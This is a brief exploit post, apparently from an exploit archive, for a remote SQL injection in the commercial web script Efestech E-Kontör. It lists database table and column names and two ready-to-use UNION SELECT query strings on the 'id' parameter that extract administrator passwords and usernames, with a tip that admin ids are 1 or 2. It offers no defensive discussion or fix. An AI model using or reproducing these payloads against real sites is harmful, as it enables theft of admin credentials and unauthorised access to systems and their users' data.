############################################################## 


$Author = RMx

$home page = www.coderx.org

$thanks = Dynamic , TR_IP , Liz0zim

$Script name = Efestech E-Kontör (tr)

$script test = http://www.aspindir.com/Goster/5145

$script sales = 750 YTL



############################################################## 

// EfesTech E-Kontör (id) Remote SQL INJECTION


// Table names 


id no = id

password : sifre

users = firma



exploit for password = ?id=-1%20union+select+0,sifre,2,3+from+admin+where+id=1

explot for usernames = ?id=-1%20union+select+0,firma,2,3+from+admin+where+id=1


NOTe = İD values 1  or 2 for admin


Bye 

Reply via email to